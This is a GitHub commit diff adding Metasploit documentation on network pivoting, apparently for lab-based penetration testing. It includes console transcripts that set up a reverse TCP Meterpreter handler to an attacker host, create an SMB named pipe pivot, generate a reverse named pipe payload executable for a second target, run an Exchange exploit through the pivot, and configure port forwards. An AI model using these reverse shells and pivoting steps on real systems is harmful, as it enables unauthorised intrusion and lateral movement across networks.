Skip to content

Commit be48b14

Browse files
committed
Land #16654, Add named pipe pivot documentation
Merge branch 'land-16654' into upstream-master
2 parents f39bc72 + 1836cf3 commit be48b14

File tree

1 file changed

+83
-10
lines changed

1 file changed

+83
-10
lines changed

docs/metasploit-framework.wiki/Pivoting-in-Metasploit.md

Lines changed: 83 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
1-
# Overview of Pivoting And Its Benefits
1+
## Overview
2+
23
Whilst in test environments one is often looking at flat networks that only have one subnet and one network environment, the reality is that when it comes to pentests that are attempting to compromise an entire company, you will often have to deal with multiple networks, often with switches or firewalls in-between that are intended to keep these networks separate from one another.
34

45
In order for pivoting to work, you must have compromised a host that is connected to two or more networks. This usually means that the host has two or more network adapters, whether that be physical network adapters, virtual network adapters, or a combination of both.
@@ -7,11 +8,14 @@ Once you have compromised a host that has multiple network adapters you can then
78

89
Now that we understand some of the background, lets see this in action a bit more by setting up a sample environment and walking through some of Metasploit's pivoting features.
910

10-
# A Quick Note Before Continuing
11+
## Supported Session Types
12+
1113
Pivoting functionality is provided by all Meterpreter and SSH sessions that occur over TCP channels. Whilst Meterpreter is mentioned below, keep in mind that this would also work with an SSH session as well. We have just resorted to using Meterpreter for this example for demonstration purposes.
1214

13-
# Testing Pivoting
14-
## Target Environment Setup
15+
## Testing Pivoting
16+
17+
### Target Environment Setup
18+
1519
- Kali Machine
1620
- Internal: None
1721
- External: 172.19.182.171
@@ -153,7 +157,7 @@ IPv4 Active Routing Table
153157
msf6 post(multi/manage/autoroute) >
154158
```
155159

156-
# Using the Pivot
160+
## Using the Pivot
157161
At this point we can now use the pivot with any Metasploit modules as shown below:
158162

159163
```
@@ -210,11 +214,80 @@ msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce)
210214
[*] 169.254.204.110:443 - The target is not exploitable. Exchange Server 15.2.986.14 does not appear to be a vulnerable version!
211215
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) >
212216
```
213-
# Pivoting External Tools
214-
## portfwd
217+
218+
## SMB Named Pipe Pivoting in Meterpreter
219+
220+
The Windows Meterpreter payload supports lateral movement in a network through SMB Named Pipe Pivoting. No other Meterpreters/session types support this functionality.
221+
222+
First open a Windows Meterpreter session to the pivot machine:
223+
224+
```
225+
msf6 > use payload/windows/x64/meterpreter/reverse_tcp
226+
smsf6 payload(windows/x64/meterpreter/reverse_tcp) > set lhost 172.19.182.171
227+
lhost => 172.19.182.171
228+
msf6 payload(windows/x64/meterpreter/reverse_tcp) > set lport 4578
229+
lport => 4578
230+
msf6 payload(windows/x64/meterpreter/reverse_tcp) > to_handler
231+
[*] Payload Handler Started as Job 0
232+
233+
[*] Started reverse TCP handler on 172.19.182.171:4578
234+
msf6 payload(windows/x64/meterpreter/reverse_tcp) > [*] Sending stage (200774 bytes) to 172.19.185.34
235+
[*] Meterpreter session 1 opened (172.19.182.171:4578 -> 172.19.185.34:49674) at 2022-06-09 13:23:03 -0500
236+
```
237+
238+
Create named pipe pivot listener on the pivot machine, setting `-l` to the pivot's bind address:
239+
240+
```
241+
msf6 payload(windows/x64/meterpreter/reverse_tcp) > sessions -i -1
242+
[*] Starting interaction with 1...
243+
244+
meterpreter > pivot add -t pipe -l 169.254.16.221 -n msf-pipe -a x64 -p windows
245+
[+] Successfully created pipe pivot.
246+
meterpreter > background
247+
[*] Backgrounding session 1...
248+
```
249+
250+
Now generate a separate payload that will connect back through the pivot machine. This payload will be executed on the final target machine. Note there is no need to start a handler for the named pipe payload.
251+
252+
```
253+
msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > show options
254+
255+
Module options (payload/windows/x64/meterpreter/reverse_named_pipe):
256+
257+
Name Current Setting Required Description
258+
---- --------------- -------- -----------
259+
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
260+
PIPEHOST . yes Host of the pipe to connect to
261+
PIPENAME msf-pipe yes Name of the pipe to listen on
262+
263+
msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > set pipehost 169.254.16.221
264+
pipehost => 169.254.16.221
265+
msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > generate -f exe -o revpipe_meterpreter_msfpipe.exe
266+
[*] Writing 7168 bytes to revpipe_meterpreter_msfpipe.exe...
267+
```
268+
269+
After running the payload on the final target machine a new session will open, via the Windows 11 169.254.16.221 pivot.
270+
```
271+
msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > [*] Meterpreter session 2 opened (Pivot via [172.19.182.171:4578 -> 169.254.16.221:49674]) at 2022-06-09 13:34:32 -0500
272+
273+
msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > sessions
274+
275+
Active sessions
276+
===============
277+
278+
Id Name Type Information Connection
279+
-- ---- ---- ----------- ----------
280+
1 meterpreter x64/windows WIN11\msfuser @ WIN11 172.19.182.171:4578 -> 172.19.185.34:49674 (172.19.185.34)
281+
2 meterpreter x64/windows WIN2019\msfuser @ WIN2019 Pivot via [172.19.182.171:4578 -> 172.19.185.34:49674]
282+
(169.254.204.110)
283+
284+
```
285+
## Pivoting External Tools
286+
287+
### portfwd
215288
*Note: This method is discouraged as you can only set up a mapping between a single port and another target host and port, so using the socks module below is encouraged where possible. Additionally this method has been depreciated for some time now.*
216289

217-
### Local Port Forwarding
290+
#### Local Port Forwarding
218291
To set up a port forward using Metasploit, use the `portfwd` command within a supported session's console such as the Meterpreter console. Using `portfwd -h` will bring up a help menu similar to the following:
219292

220293
```
@@ -262,7 +335,7 @@ Connecting to 127.0.0.1:443... failed: Connection refused.
262335

263336
Note that you may need to edit your `/etc/hosts` file to map IP addresses to given host names to allow things like redirects to redirect to the right hostname or IP address when using this method of pivoting.
264337

265-
### Listing Port Forwards and Removing Entries
338+
#### Listing Port Forwards and Removing Entries
266339
Can list port forwards using the `portfwd list` command. To delete all port forwards use `portfwd flush`. Alternatively to selectively delete local port forwarding entries, use `portfwd delete -l <local port>`.
267340

268341
```
@@ -275,7 +348,7 @@ No port forwards are currently active.
275348
meterpreter >
276349
```
277350

278-
### Remote Port Forwarding
351+
#### Remote Port Forwarding
279352
This scenario is a bit different than above. Whereas previously we were instructing the session to forward traffic from our host running Metasploit, through the session, and to a second target host, with reverse port forwarding the scenario is a bit different. In this case we are instructing the session to forward traffic from other hosts through the session, and to our host running Metasploit. This is useful for allowing other applications running within a target network to interact with local applications on the machine running Metasploit.
280353

281354
To set up a reverse port forward, use `portfwd add -R` within a supported session and then specify the `-l`, `-L` and `-p` options. The `-l` option specifies the port to forward the traffic to, the `-L` option specifies the IP address to forward the traffic to, and the `-p` option specifies the port to listen on for traffic on the machine that we have a session on (whose session console we are currently interacting with).

0 commit comments

Comments
 (0)